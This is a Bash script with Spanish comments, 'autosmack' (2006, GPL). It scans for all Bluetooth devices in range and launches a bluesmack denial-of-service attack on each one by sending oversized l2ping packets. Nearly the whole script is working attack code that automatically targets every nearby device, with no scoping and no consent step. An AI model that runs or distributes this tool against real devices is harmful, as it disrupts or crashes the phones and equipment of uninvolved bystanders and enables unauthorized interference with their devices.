#!/bin/bash # autosmack - Ataque bluesmack contra todos los dispositivos al alcance # (c)2006 GNU GPL, Death Master (death_master{EN}hpn-sec{PUNTO}net) # # autosmack lanza un escaneo de todos los dispositivos móviles al alcance y # ataca cada uno de ellos mediante la técnica bluesmack # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY # RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S) AND AUTHOR(S) BE LIABLE # FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY # DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN # AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # # ALL LIABILITY, INCLUDING LIABILITY FOR INFRINGEMENT OF ANY PATENTS, # COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS, RELATING TO USE OF THIS SOFTWARE # IS DISCLAIMED. VERSION=1.0 # ------------------ # CÓDIGOS DE RETORNO # ------------------ # 0 -> Ejecución completada correctamente # 1 -> Error de privilegios de ejecución: el usuario no es root # 2 -> Error de localización de ejecutables: hcitool o l2ping no se encuentran en el directorio /usr/bin # 3 -> Error de dispositivo: no se ha encontrado un dispositivo bluetooth válido # ----- # AYUDA # ----- # Imprime la ayuda del programa if [[ $1 = "-h" || $1 = "--help" || $# -gt 4 ]] then clear echo echo -e "autosmack v$VERSION - Ataque bluesmack contra todos los dispositivos al alcance" echo -e "(c)2006 GNU GPL, Death Master (death_master{EN}hpn-sec{PUNTO}net)" echo echo -e "Uso de autosmack:" echo -e "$0 [--p ] [--t ]... Invoca el programa." echo echo -e "La opción -p indica el número de paquetes a enviar." echo -e "Por defecto, el programa envía un paquete, suficiente para realizar el ataque." echo echo -e "La opción -t indica el tamaño en bytes de cada paquete." echo -e "Por defecto, el programa utiliza un tamaño de 5000 bytes para cada paquete." echo exit 0 fi # ----------------------- # OBTENCIÓN DE ARGUMENTOS # ----------------------- # Comprueba si el script ha sido invocado con argumentos if [[ $# -gt 0 ]] then # Comprueba el parámetro --p if [[ $1 = "--p" ]] then typeset -i NUMPAQ=$2 # Elimina parámetros incorrectos if [[ $NUMPAQ -le 0 ]] then typeset -i NUMPAQ=1 fi else typeset -i NUMPAQ=1 fi # Comprueba el parámetro --t if [[ $3 = "--t" ]] then typeset -i TAMPAQ=$4 # Elimina parámetros incorrectos if [[ $TAMPAQ -le 0 ]] then typeset -i TAMPAQ=5000 fi else typeset -i TAMPAQ=5000 fi # Si no ha sido invocado con argumentos, pone los valores por defecto else typeset -i NUMPAQ=1 typeset -i TAMPAQ=5000 fi # -------------- # COMPROBACIONES # -------------- # Comprueba que el script ha sido invocado por el usuario root USUARIO=`whoami` if [[ $USUARIO != "root" ]] then clear echo echo -e "¡ERROR! El script debe ser invocado por el usuario root para funcionar correctamente." echo exit 1 fi # Comprueba que existan los ejecutables hcitool y l2ping if [[ ! -e /usr/bin/hcitool || ! -e /usr/bin/l2ping ]] then clear echo echo -e "¡ERROR! No se ha encontrado el programa hcitool/l2ping." echo -e "Pruebe a instalar los paquetes bluetooth y bluez-utils en su sistema." echo exit 2 fi # Comprueba que existe al menos un dispositivo bluetooth conectado DISPOSITIVO=`hcitool dev | tail -1 | cut -f 2` if [[ $DISPOSITIVO = "Devices:" ]] then clear echo echo -e "¡ERROR! No se ha encontrado un dispositivo bluetooth conectado." echo exit 3 fi # ------- # ESCANEO # ------- # Comprueba si existe el fichero de dispositivos temporal, y lo borra if [[ -e disptmp ]] then rm disptmp fi # Realiza un escaneo hcitool scan > disptmp # Calcula el número de dispositivos encontrados typeset -i NUMDISP=`cat disptmp | wc -l | cut -f 1` NUMDISP+=-1 # Si no se han encontrado dispositivos válidos, avisa al usuario if [[ $NUMDISP = 0 ]] then clear echo echo -e "No se ha encontrado ningún dispositivo bluetooth al alcance durante el escaneo" echo exit 0 fi # Si ha encontrado al menos un dispositivo cat disptmp | tail -$NUMDISP > disptmp # Informa al usuario de los dispositivos detectados echo echo -e "autosmack v$VERSION - Ataque bluesmack contra todos los dispositivos al alcance" echo -e "(c)2006 GNU GPL, Death Master (death_master{EN}hpn-sec{PUNTO}net)" echo echo -e "Se han detectado los siguientes dispositivos ($NUMDISP en total):" echo cat disptmp echo # Bucle que lanza los ataques typeset -i i=1 while [[ $i -le $NUMDISP ]] do # Obtiene la MAC del dispositivo a atacar MAC=`cat disptmp | head -$i | tail -1 | cut -f 2` # Obtiene el nombre del dispositivo a atacar NOMBRE=`cat disptmp | head -$i | tail -1 | cut -f 3` # Informa al usuario de la operación que se va a realizar echo -e "Lanzando ataque contra el dispositivo $NOMBRE ($MAC): enviando $NUMPAQ paquete(s) de $TAMPAQ byte(s)..." echo # Lanza el ataque l2ping -s $TAMPAQ -c $NUMPAQ $MAC &> /dev/null # Incrementa el contador del bucle i+=1 done # Borra el fichero temporal rm disptmp exit 0